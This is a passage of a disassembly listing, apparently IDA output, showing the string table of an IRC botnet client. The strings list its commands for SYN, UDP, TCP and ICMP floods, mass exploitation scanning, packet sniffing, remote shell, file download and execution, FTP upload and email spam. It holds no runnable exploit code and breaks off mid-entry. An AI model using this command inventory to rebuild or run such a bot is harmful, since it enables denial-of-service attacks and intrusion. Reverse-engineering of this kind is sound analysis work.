) .. Server listening on IP: %s:%d, Di' ; DATA XREF: sub_40CC09+4BB0o db 'rectory: %s\.',0 align 4 a_e_1_0bTftpd_1 db '.e.(1.0b) ( tftpd.m.d.l ) .. Failed to start server thread, er' ; DATA XREF: sub_40CC09+4AA9o db 'ror: <%d>.',0 a_e_1_0bTftpd_0 db '.e.(1.0b) ( tftpd.m.d.l ) .. Server started on Port: %d, File:' ; DATA XREF: sub_40CC09+4A3Ao db ' %s, Request: %s.',0 align 4 a_e_1_0bTftpd_m db '.e.(1.0b) ( tftpd.m.d.l ) .. Already running.',0 ; DATA XREF: sub_40CC09+4973o align 10h a_e_1_0bExplo_4 db '.e.(1.0b) ( exploit.m.d.l ) .. Failed to start scan, port is i' ; DATA XREF: sub_40CC09:loc_411566o db 'nvalid.',0 align 4 a_e_1_0bExplo_3 db '.e.(1.0b) ( exploit.m.d.l ) .. %s Port Scan started on %s:%d w' ; DATA XREF: sub_40CC09+489Eo db 'ith a delay of %d seconds for %d minutes using %d threads.',0 a_e_1_0bEnz__25 db '.e.(1.0b) ( enz.m.d.l ) .. Nick changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40CC09+465Eo align 10h a_e_1_0bEnz__24 db '.e.(1.0b) ( enz.m.d.l ) .. Joined channel: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40CC09+4645o a_e_1_0bEnz__23 db '.e.(1.0b) ( enz.m.d.l ) .. Parted channel: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40CC09+4625o a_e_1_0bEnz__22 db '.e.(1.0b) ( enz.m.d.l ) .. IRC Raw: %s.',0 ; DATA XREF: sub_40CC09+460Co align 4 a_e_1_0bThrea_2 db '.e.(1.0b) ( threads.m.d.l ) .. Failed to kill thread: %s.',0 ; DATA XREF: sub_40CC09:loc_411197o align 4 a_e_1_0bThrea_1 db '.e.(1.0b) ( threads.m.d.l ) .. Killed thread: %s.',0 ; DATA XREF: sub_40CC09+4587o align 4 a_e_1_0bThrea_0 db '.e.(1.0b) ( threads.m.d.l ) .. No active threads found.',0 ; DATA XREF: sub_40CC09:loc_41114Ao align 4 a_e_1_0bThreads db '.e.(1.0b) ( threads.m.d.l ) .. Stopped: %d thread(s).',0 ; DATA XREF: sub_40CC09+4528o align 4 off_4321D4 dd offset byte_6C6C61 ; DATA XREF: sub_40CC09+450Eo aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+4483o ; sub_40CC09:loc_411EB8o align 4 a_e_1_0bEnz__21 db '.e.(1.0b) ( enz.m.d.l ) .. Prefix changed to: ',27h,'%c',27h,'.',0 ; DATA XREF: sub_40CC09+440Do align 10h a_e_1_0bShell_0 db '.e.(1.0b) ( shell.m.d.l ) .. Couldn',27h,'t open file: %s',0 ; DATA XREF: sub_40CC09:loc_411001o align 4 a_e_1_0bShell_m db '.e.(1.0b) ( shell.m.d.l ) .. File opened: %s',0 ; DATA XREF: sub_40CC09+43EEo a_e_1_0bEnz__20 db '.e.(1.0b) ( enz.m.d.l ) .. Server changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40CC09+43C5o align 10h a_e_1_0bDns_m_0 db '.e.(1.0b) ( dns.m.d.l ) .. Couldn',27h,'t resolve hostname.',0 ; DATA XREF: sub_40CC09:loc_410FA4o align 4 a_e_1_0bDns_m_d db '.e.(1.0b) ( dns.m.d.l ) .. Lookup: %s -> %s.',0 ; DATA XREF: sub_40CC09+436Do a_e_1_0bProce_4 db '.e.(1.0b) ( process.m.d.l ) .. Failed to terminate process: %s' ; DATA XREF: sub_40CC09:loc_410F42o db 0 align 10h a_e_1_0bProce_3 db '.e.(1.0b) ( process.m.d.l ) .. Process killed: %s',0 ; DATA XREF: sub_40CC09+432Fo align 4 a_e_1_0bProce_2 db '.e.(1.0b) ( process.m.d.l ) .. Failed to terminate process ID:' ; DATA XREF: sub_40CC09:loc_410EE2o db ' %s',0 align 10h a_e_1_0bProce_1 db '.e.(1.0b) ( process.m.d.l ) .. Process killed ID: %s',0 ; DATA XREF: sub_40CC09+42D2o a_e_1_0bFile__2 db '.e.(1.0b) ( file.m.d.l ) .. Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40CC09+4291o align 4 a_e_1_0bDcc_m_6 db '.e.(1.0b) ( dcc.m.d.l ) .. Send File: %s, User: %s.',0 ; DATA XREF: sub_40CC09+420Co align 10h a_e_1_0bFile__1 db '.e.(1.0b) ( file.m.d.l ) .. List: %s',0 ; DATA XREF: sub_40CC09+419Ao a_e_1_0bMirc__0 db '.e.(1.0b) ( mirc.m.d.l ) .. Command sent.',0 ; DATA XREF: sub_40CC09:loc_410D88o align 4 a_e_1_0bMirc_m_ db '.e.(1.0b) ( mirc.m.d.l ) .. Client not open.',0 ; DATA XREF: sub_40CC09+4175o a_e_1_0bCmd_m_0 db '.e.(1.0b) ( cmd.m.d.l ) .. Commands: %s',0 ; DATA XREF: sub_40CC09+4144o align 4 a_e_1_0bCmd_m_d db '.e.(1.0b) ( cmd.m.d.l ) .. Error sending to remote shell.',0 ; DATA XREF: sub_40CC09+4139o align 4 a_e_1_0bEnz__19 db '.e.(1.0b) ( enz.m.d.l ) .. Read file failed: %s',0 ; DATA XREF: sub_40CC09+40F9o align 4 a_e_1_0bEnz__18 db '.e.(1.0b) ( enz.m.d.l ) .. Read file complete: %s',0 ; DATA XREF: sub_40CC09+40E5o align 10h aR: ; DATA XREF: sub_40CC09:loc_410C87o unicode 0, <r>,0 a_e_1_0bEnz__17 db '.e.(1.0b) ( enz.m.d.l ) .. Gethost: %s.',0 ; DATA XREF: sub_40CC09+4060o align 10h a_e_1_0bEnz__16 db '.e.(1.0b) ( enz.m.d.l ) .. Unable to extract Gethost command.',0 ; DATA XREF: sub_40CC09+4025o align 4 a_e_1_0bEnz__15 db '.e.(1.0b) ( enz.m.d.l ) .. Gethost: %s, Command: %s',0 ; DATA XREF: sub_40CC09+4009o align 4 a_e_1_0bEnz__14 db '.e.(1.0b) ( enz.m.d.l ) .. Alias added: %s.',0 ; DATA XREF: sub_40CC09+3F87o align 4 a_e_1_0bEnz__13 db '.e.(1.0b) ( enz.m.d.l ) .. Privmsg: %s: %s.',0 ; DATA XREF: sub_40CC09+3F4Co align 4 a_e_1_0bEnz__12 db '.e.(1.0b) ( enz.m.d.l ) .. Action: %s: %s.',0 ; DATA XREF: sub_40CC09+3EF6o align 4 a_e_1_0bEnz__11 db '.e.(1.0b) ( enz.m.d.l ) .. Cycle.',0 ; DATA XREF: sub_40CC09+3E8Eo align 4 aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+3E54o ; sub_40CC09+4617o align 10h a_e_1_0bEnz__10 db '.e.(1.0b) ( enz.m.d.l ) .. Mode change: %s',0 ; DATA XREF: sub_40CC09+3E25o align 10h aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+3E17o align 4 a_e_1_0bClone_2 db '.e.(1.0b) ( clone.m.d.l ) .. Raw (%s): %s',0 ; DATA XREF: sub_40CC09+3DEEo align 4 a_e_1_0bClone_1 db '.e.(1.0b) ( clone.m.d.l ) .. Mode (%s): %s',0 ; DATA XREF: sub_40CC09+3D83o align 4 aModeS db 'MODE %s',0 ; DATA XREF: sub_40CC09+3D2Eo a_e_1_0bClone_m db '.e.(1.0b) ( clone.m.d.l ) .. Nick (%s): %s',0 ; DATA XREF: sub_40CC09+3CF9o align 4 aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_40CC09+3CA3o ; sub_40CC09+444Fo aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_40CC09+3C84o align 4 aS_5 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+3C4Fo ; sub_40CC09+3CD8o ... align 10h aPartS db 'PART %s',0 ; DATA XREF: sub_40CC09+3C1Ao a_e_1_0bEnz_m_9 db '.e.(1.0b) ( enz.m.d.l ) .. Repeat not allowed in command line:' ; DATA XREF: sub_40CC09:loc_410810o db ' %s',0 align 10h a_e_1_0bEnz_m_8 db '.e.(1.0b) ( enz.m.d.l ) .. Repeat: %s',0 ; DATA XREF: sub_40CC09+3BD0o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_40CC09+3B7Fo align 4 a_e_1_0bEnz_m_7 db '.e.(1.0b) ( enz.m.d.l ) .. Delay.',0 ; DATA XREF: sub_40CC09:loc_410740o align 4 aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40CC09+3AF7o ; sub_40CC09+3BAAo ... align 4 a_e_1_0bUpdat_1 db '.e.(1.0b) ( update.m.d.l ) .. Bot ID must be different than cu' ; DATA XREF: sub_40CC09:loc_41067Do db 'rrent running process.',0 a_e_1_0bUpdat_0 db '.e.(1.0b) ( update.m.d.l ) .. Failed to start download thread,' ; DATA XREF: sub_40CC09+3A5Eo db ' error: <%d>.',0 align 4 a_e_1_0bUpdate_ db '.e.(1.0b) ( update.m.d.l ) .. Downloading update from: %s.',0 ; DATA XREF: sub_40CC09+39F3o align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40CC09+394Do align 10h a_e_1_0bExec__0 db '.e.(1.0b) ( exec.m.d.l ) .. Commands: %s',0 ; DATA XREF: sub_40CC09+38EEo a_e_1_0bExec_m_ db '.e.(1.0b) ( exec.m.d.l ) .. Couldn',27h,'t execute file.',0 ; DATA XREF: sub_40CC09+38E3o align 4 a_e_1_0bFile__0 db '.e.(1.0b) ( file.m.d.l ) .. ',0 ; DATA XREF: sub_40CC09:loc_410417o ; sub_40CC09:loc_410EA1o align 4 a_e_1_0bFile_m_ db '.e.(1.0b) ( file.m.d.l ) .. Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.' ; DATA XREF: sub_40CC09+37F9o db 0 align 4 a_e_1_0bIcmp__1 db '.e.(1.0b) ( icmp.m.d.l ) .. Invalid flood time must be greater' ; DATA XREF: sub_40CC09:loc_4103E0o db ' than 0.',0 align 4 a_e_1_0bIcmp__0 db '.e.(1.0b) ( icmp.m.d.l ) .. Failed to start flood thread, erro' ; DATA XREF: sub_40CC09+37CDo db 'r: <%d>.',0 align 4 a_e_1_0bIcmp_m_ db '.e.(1.0b) ( icmp.m.d.l ) .. Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_40CC09+3753o align 4 a_e_1_0bClone_0 db '.e.(1.0b) ( clones.m.d.l ) .. Failed to start clone thread, er' ; DATA XREF: sub_40CC09+36DCo db 'ror: <%d>.',0 a_e_1_0bClones_ db '.e.(1.0b) ( clones.m.d.l ) .. Created on %s:%d, in channel %s.' ; DATA XREF: sub_40CC09+366Do db 0 align 4 a_e_1_0bDdos__0 db '.e.(1.0b) ( ddos.m.d.l ) .. Failed to start flood thread, erro' ; DATA XREF: sub_40CC09+35E5o db 'r: <%d>.',0 align 10h a_e_1_0bDdos_m_ db '.e.(1.0b) ( ddos.m.d.l ) .. Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_40CC09+356Do align 4 a_e_1_0bSyn_m_0 db '.e.(1.0b) ( syn.m.d.l ) .. Failed to start flood thread, error' ; DATA XREF: sub_40CC09+34D8o db ': <%d>.',0 align 10h a_e_1_0bSyn_m_d db '.e.(1.0b) ( syn.m.d.l ) .. Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_40CC09+345Eo a_e_1_0bDownl_0 db '.e.(1.0b) ( download.m.d.l ) .. Failed to start transfer threa' ; DATA XREF: sub_40CC09+33EEo db 'd, error: <%d>.',0 align 4 a_e_1_0bDownloa db '.e.(1.0b) ( download.m.d.l ) .. Downloading URL: %s to: %s.',0 ; DATA XREF: sub_40CC09+337Fo align 4 a_e_1_0bRedir_0 db '.e.(1.0b) ( redirect.m.d.l ) .. Failed to start redirection th' ; DATA XREF: sub_40CC09+32B0o db 'read, error: <%d>.',0 a_e_1_0bRedirec db '.e.(1.0b) ( redirect.m.d.l ) .. TCP redirect created from: %s:' ; DATA XREF: sub_40CC09+3241o db '%d to: %s:%d.',0 align 4 a_e_1_0bPorts_0 db '.e.(1.0b) ( portscan.m.d.l ) .. Failed to start scan thread, e' ; DATA XREF: sub_40CC09+31B6o db 'rror: <%d>.',0 align 4 a_e_1_0bPortsca db '.e.(1.0b) ( portscan.m.d.l ) .. Port scan started: %s:%d with ' ; DATA XREF: sub_40CC09+3147o db 'delay: %d(ms).',0 aSSS_2 db '[%s] <%s> %s',0 ; DATA XREF: sub_40CC09+30C3o align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40CC09+2FC6o align 4 dword_432F38 dd 54434101h, 204E4F49h, 17325h ; sub_40CC09+3ED7o a_e_1_0bExplo_2 db '.e.(1.0b) ( exploit.m.d.l ) .. Failed to start scan thread, er' ; DATA XREF: sub_40CC09+2ED9o ; sub_40CC09+490Fo db 'ror: <%d>.',0 a_e_1_0bExplo_1 db '.e.(1.0b) ( exploit.m.d.l ) .. %s Exploitation started on %s:%' ; DATA XREF: sub_40CC09+2E6Ao db 'd waiting %d seconds for %d minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_40CC09+2E3Fo ; sub_40CC09+4873o align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40CC09+2E38o ; sub_40CC09+486Co align 4 a_e_1_0bExplo_0 db '.e.(1.0b) ( exploit.m.d.l ) .. Failed to start scan, no IP spe' ; DATA XREF: sub_40CC09+2CFAo db 'cified.',0 align 4 a_e_1_0bExploit db '.e.(1.0b) ( exploit.m.d.l ) .. Already %d scanning threads. To' ; DATA XREF: sub_40CC09+2BB1o ; sub_40CC09+46B7o db 'o many specified.',0 align 4 a_e_1_0bUdp_m_0 db '.e.(1.0b) ( udp.m.d.l ) .. Failed to start flood thread, error' ; DATA XREF: sub_40CC09+2B80o db ': <%d>.',0 align 4 a_e_1_0bUdp_m_d db '.e.(1.0b) ( udp.m.d.l ) .. Sending %d packets to: %s. Packet s' ; DATA XREF: sub_40CC09+2B11o db 'ize: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40CC09+2A3Co align 4 a_e_1_0bPing__0 db '.e.(1.0b) ( ping.m.d.l ) .. Failed to start flood thread, erro' ; DATA XREF: sub_40CC09+2A27o db 'r: <%d>.',0 align 4 a_e_1_0bPing_m_ db '.e.(1.0b) ( ping.m.d.l ) .. Sending %d pings to %s. packet siz' ; DATA XREF: sub_40CC09+29BCo db 'e: %d, timeout: %d(ms).',0 align 4 a_e_1_0bTcp_m_2 db '.e.(1.0b) ( tcp.m.d.l ) .. Invalid flood time must be greater ' ; DATA XREF: sub_40CC09:loc_40F528o db 'than 0.',0 align 10h a_e_1_0bTcp_m_1 db '.e.(1.0b) ( tcp.m.d.l ) .. Failed to start flood thread, error' ; DATA XREF: sub_40CC09+2915o db ': <%d>.',0 align 4 a_e_1_0bTcp_m_0 db '.e.(1.0b) ( tcp.m.d.l ) .. %s %s flooding: (%s:%s) for %s seco' ; DATA XREF: sub_40CC09+289Bo db 'nds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40CC09+288Bo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40CC09+2884o a_e_1_0bTcp_m_d db '.e.(1.0b) ( tcp.m.d.l ) .. Invalid flood type specified.',0 ; DATA XREF: sub_40CC09+27EFo a_e_1_0bFtp_m_1 db '.e.(1.0b) ( ftp.m.d.l ) .. Uploading file: %s to: %s failed.',0 ; DATA XREF: sub_40CC09:loc_40F310o a_e_1_0bFtp_m_0 db '.e.(1.0b) ( ftp.m.d.l ) .. Uploading file: %s to: %s',0 ; DATA XREF: sub_40CC09+2700o aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40CC09+26E9o aSS_5 db '-s:%s',0 ; DATA XREF: sub_40CC09+26D2o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40CC09+26B2o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_40CC09+268Eo align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40CC09+267Do align 10h a_e_1_0bFtp_m_d db '.e.(1.0b) ( ftp.m.d.l ) .. File not found: %s.',0 ; DATA XREF: sub_40CC09+2633o align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40CC09+2610o align 10h aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40CC09+25EDo align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40CC09+25D6o align 4 a_1514enz10b_2_ db '.15,14enz10b .2.. .15(email.2..15mod) .2.15 Message sent to %s.' ; DATA XREF: sub_40CC09+2595o db 0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40CC09+2521o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40CC09+2485o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40CC09+2436o align 4 off_43350C dd offset byte_617375 ; DATA XREF: sub_40CC09+241Fo aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40CC09+2408o align 10h aPg db 'pg',0 ; DATA XREF: sub_40CC09+23F1o align 4 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40CC09+23DAo align 10h aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40CC09+23C3o align 10h aPu db 'pu',0 ; DATA XREF: sub_40CC09+23ACo align 4 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40CC09+2395o align 10h aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40CC09+237Eo align 10h aVuln_start db 'vuln.start',0 ; DATA XREF: sub_40CC09+2350o align 4 aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40CC09+2327o align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40CC09+2310o align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40CC09+22F9o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40CC09+22E2o align 4 aEnz_ps db 'enz.ps',0 ; DATA XREF: sub_40CC09+22CBo align 4 aEnz_portscan db 'enz.portscan',0 ; DATA XREF: sub_40CC09+22B4o align 4 aServer_rd_on db 'server.rd.on',0 ; DATA XREF: sub_40CC09+229Do align 4 aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: sub_40CC09+2286o align 10h aD1 db 'd1',0 ; DATA XREF: sub_40CC09+226Fo align 4 aDownload_fromw db 'download.fromwww',0 ; DATA XREF: sub_40CC09+2258o align 4 aSy1 db 'sy1',0 ; DATA XREF: sub_40CC09+2241o aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40CC09+222Ao align 4 aDs_rm db 'ds.rm',0 ; DATA XREF: sub_40CC09+2213o align 4 aDs_ack db 'ds.ack',0 ; DATA XREF: sub_40CC09+21FCo align 4 aDs_sy1 db 'ds.sy1',0 ; DATA XREF: sub_40CC09+21E5o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40CC09+21CEo aClone_make db 'clone.make',0 ; DATA XREF: sub_40CC09+21B7o align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40CC09+218Eo aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40CC09+2177o align 10h aBox_mv db 'box.mv',0 ; DATA XREF: sub_40CC09+2160o align 4 aBox_rename db 'box.rename',0 ; DATA XREF: sub_40CC09+2149o align 4 aBox_e db 'box.e',0 ; DATA XREF: sub_40CC09+2132o align 4 aBox_execute db 'box.execute',0 ; DATA XREF: sub_40CC09+211Bo aDownload_upz db 'download.upz',0 ; DATA XREF: sub_40CC09+2104o align 4 aDownload_updiz db 'download.updiz',0 ; DATA XREF: sub_40CC09+20EDo align 4 aEnz_de db 'enz.de',0 ; DATA XREF: sub_40CC09+20D6o align 10h aEnz_delay db 'enz.delay',0 ; DATA XREF: sub_40CC09+20BFo align 4 aEnz_rp db 'enz.rp',0 ; DATA XREF: sub_40CC09+20A8o align 4 aEnz_repeat db 'enz.repeat',0 ; DATA XREF: sub_40CC09+2091o align 10h aClone_p db 'clone.p',0 ; DATA XREF: sub_40CC09+207Ao aClone_part db 'clone.part',0 ; DATA XREF: sub_40CC09+2063o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40CC09+204Co aClone_join db 'clone.join',0 ; DATA XREF: sub_40CC09+2035o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40CC09+201Eo align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40CC09+2007o align 10h aClone_m db 'clone.m',0 ; DATA XREF: sub_40CC09+1FF0o aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40CC09+1FD9o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40CC09+1FC2o align 10h aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40CC09+1FABo align 4 aEnz_m db 'enz.m',0 ; DATA XREF: sub_40CC09+1F94o align 4 aEnz_mode db 'enz.mode',0 ; DATA XREF: sub_40CC09+1F7Do align 10h aEnz_cy db 'enz.cy',0 ; DATA XREF: sub_40CC09+1F66o align 4 aEnz_cycle db 'enz.cycle',0 ; DATA XREF: sub_40CC09+1F4Fo align 4 aEnz_ac db 'enz.ac',0 ; DATA XREF: sub_40CC09+1F38o align 4 aEnz_action db 'enz.action',0 ; DATA XREF: sub_40CC09+1F21o align 4 aEnz_pm db 'enz.pm',0 ; DATA XREF: sub_40CC09+1F0Ao align 10h aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: sub_40CC09+1EF3o aEnz_aa db 'enz.aa',0 ; DATA XREF: sub_40CC09+1EDCo align 4 aEnz_addalias db 'enz.addalias',0 ; DATA XREF: sub_40CC09+1EC5o align 4 aEnz_gh db 'enz.gh',0 ; DATA XREF: sub_40CC09+1E9Co align 4 aEnz_gethost db 'enz.gethost',0 ; DATA XREF: sub_40CC09+1E85o a_e_1_0bNet_m_7 db '.e.(1.0b) ( net.m.d.l ) .. Command unknown.',0 ; DATA XREF: sub_40CC09:loc_40EA81o align 4 a_e_1_0bNet_m_6 db '.e.(1.0b) ( net.m.d.l ) .. No message specified.',0 ; DATA XREF: sub_40CC09:loc_40EA77o a_e_1_0bNet_m_5 db '.e.(1.0b) ( net.m.d.l ) .. User list failed.',0 ; DATA XREF: sub_40CC09:loc_40EA29o a_e_1_0bNet_m_4 db '.e.(1.0b) ( net.m.d.l ) .. User list completed.',0 ; DATA XREF: sub_40CC09+1E16o align 10h aUser_2 db 'user',0 ; DATA XREF: sub_40CC09+1D89o align 4 a_e_1_0bNet_m_3 db '.e.(1.0b) ( net.m.d.l ) .. Share list failed.',0 ; DATA XREF: sub_40CC09:loc_40E987o align 4 a_e_1_0bNet_m_2 db '.e.(1.0b) ( net.m.d.l ) .. Share list completed.',0 ; DATA XREF: sub_40CC09+1D74o aShare db 'share',0 ; DATA XREF: sub_40CC09+1D0Co align 4 aDelete db 'delete',0 ; DATA XREF: sub_40CC09+1CF1o align 10h aPause db 'pause',0 ; DATA XREF: sub_40CC09+1CBEo align 4 aStop db 'stop',0 ; DATA XREF: sub_40CC09+1CA6o align 10h a_e_1_0bNet_m_1 db '.e.(1.0b) ( net.m.d.l ) .. Service list failed.',0 ; DATA XREF: sub_40CC09:loc_40E8A4o align 4 a_e_1_0bNet_m_0 db '.e.(1.0b) ( net.m.d.l ) .. Service list completed.',0 ; DATA XREF: sub_40CC09+1C91o align 4 a_e_1_0bNet_m_d db '.e.(1.0b) ( net.m.d.l ) .. Failed to load advapi32.dll or neta' ; DATA XREF: sub_40CC09+1C0Do db 'pi32.dll.',0 align 4 aBox_net db 'box.net',0 ; DATA XREF: sub_40CC09+1BE9o a_e_1_0bSniff_3 db '.e.(1.0b) ( sniff.m.d.l ) .. No Carnivore thread found.',0 ; DATA XREF: sub_40CC09:loc_40E7E5o align 4 a_e_1_0bSniff_2 db '.e.(1.0b) ( sniff.m.d.l ) .. Carnivore stopped. (%d thread(s) ' ; DATA XREF: sub_40CC09+1BD2o db 'stopped.)',0 align 4 off_433A48 dd offset byte_66666F ; DATA XREF: sub_40CC09+1BAFo a_e_1_0bSniff_1 db '.e.(1.0b) ( sniff.m.d.l ) .. Failed to start sniffer thread, e' ; DATA XREF: sub_40CC09+1BA4o db 'rror: <%d>.',0 align 4 a_e_1_0bSniff_0 db '.e.(1.0b) ( sniff.m.d.l ) .. Carnivore packet sniffer active.',0 ; DATA XREF: sub_40CC09+1B35o align 10h a_e_1_0bSniff_m db '.e.(1.0b) ( sniff.m.d.l ) .. Already running.',0 ; DATA XREF: sub_40CC09+1AD1o align 4 aOn db 'on',0 ; DATA XREF: sub_40CC09+1AB1o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40CC09+1A9Co align 10h aBox_rf db 'box.rf',0 ; DATA XREF: sub_40CC09+1A85o align 4 aBox_readfile db 'box.readfile',0 ; DATA XREF: sub_40CC09+1A6Eo align 4 aBox_cm db 'box.cm',0 ; DATA XREF: sub_40CC09+1A57o align 10h aBox_cmd db 'box.cmd',0 ; DATA XREF: sub_40CC09+1A40o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40CC09+1A12o ; sub_40CC09+1A29o align 4 aBox_fl db 'box.fl',0 ; DATA XREF: sub_40CC09+19FBo align 4 aBox_filelist db 'box.filelist',0 ; DATA XREF: sub_40CC09+19E4o align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40CC09+19CDo align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40CC09+19B6o aBox_del db 'box.del',0 ; DATA XREF: sub_40CC09+199Fo aBox_delete db 'box.delete',0 ; DATA XREF: sub_40CC09+1988o align 10h aBox_pkid db 'box.pkid',0 ; DATA XREF: sub_40CC09+1971o align 4 aBox_prockillid db 'box.prockillid',0 ; DATA XREF: sub_40CC09+195Ao align 4 aBox_kpn db 'box.kpn',0 ; DATA XREF: sub_40CC09+1943o aBox_killprocna db 'box.killprocname',0 ; DATA XREF: sub_40CC09+192Co align 4 aEnz_dn db 'enz.dn',0 ; DATA XREF: sub_40CC09+1915o align 10h aEnz_dns db 'enz.dns',0 ; DATA XREF: sub_40CC09+18FEo aEnz_se db 'enz.se',0 ; DATA XREF: sub_40CC09+18E7o align 10h aEnz_setserve db 'enz.setserve',0 ; DATA XREF: sub_40CC09+18D0o align 10h aBox_o db 'box.o',0 ; DATA XREF: sub_40CC09+18B9o align 4 aBox_open db 'box.open',0 ; DATA XREF: sub_40CC09+18A2o align 4 aEnz_pr db 'enz.pr',0 ; DATA XREF: sub_40CC09+188Bo align 4 aEnz_prefix db 'enz.prefix',0 ; DATA XREF: sub_40CC09+1874o align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40CC09+185Do align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40CC09+1846o align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40CC09+182Fo aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40CC09+1818o align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40CC09+1801o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40CC09+17EAo align 4 aEnz_r db 'enz.r',0 ; DATA XREF: sub_40CC09+17D3o align 4 aEnz_raw db 'enz.raw',0 ; DATA XREF: sub_40CC09+17BCo aEnz_pt db 'enz.pt',0 ; DATA XREF: sub_40CC09+17A5o align 4 aEnz_part db 'enz.part',0 ; DATA XREF: sub_40CC09+178Eo align 4 aEnz_j db 'enz.j',0 ; DATA XREF: sub_40CC09+1777o align 10h aEnz_join db 'enz.join',0 ; DATA XREF: sub_40CC09+1760o align 4 aEnz_n db 'enz.n',0 ; DATA XREF: sub_40CC09+1749o align 4 aEnz_nick db 'enz.nick',0 ; DATA XREF: sub_40CC09+1732o align 10h aVall db 'vall',0 ; DATA XREF: sub_40CC09+170Co align 4 aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: sub_40CC09+16F7o align 4 aServer_tf_on db 'server.tf.on',0 ; DATA XREF: sub_40CC09+16E2o align 4 aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: sub_40CC09+16CDo align 4 aServer_web_on db 'server.web.on',0 ; DATA XREF: sub_40CC09+16B8o align 4 aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: sub_40CC09+16A3o aVuln_cip db 'vuln.cip',0 ; DATA XREF: sub_40CC09+168Eo align 4 aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: sub_40CC09+1679o align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40CC09+1664o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40CC09+164Fo align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40CC09+163Ao align 10h aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40CC09+1625o align 10h aBox_gc db 'box.gc',0 ; DATA XREF: sub_40CC09+1610o align 4 aBox_getclip db 'box.getclip',0 ; DATA XREF: sub_40CC09+15FBo a_e_1_0bEnz_m_6 db '.e.(1.0b) ( enz.m.d.l ) .. Login list complete.',0 ; DATA XREF: sub_40CC09+15EAo align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40CC09+15B6o ; sub_41337B+46o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_40CC09+15A9o aLoginList db '-[Login List]-',0 ; DATA XREF: 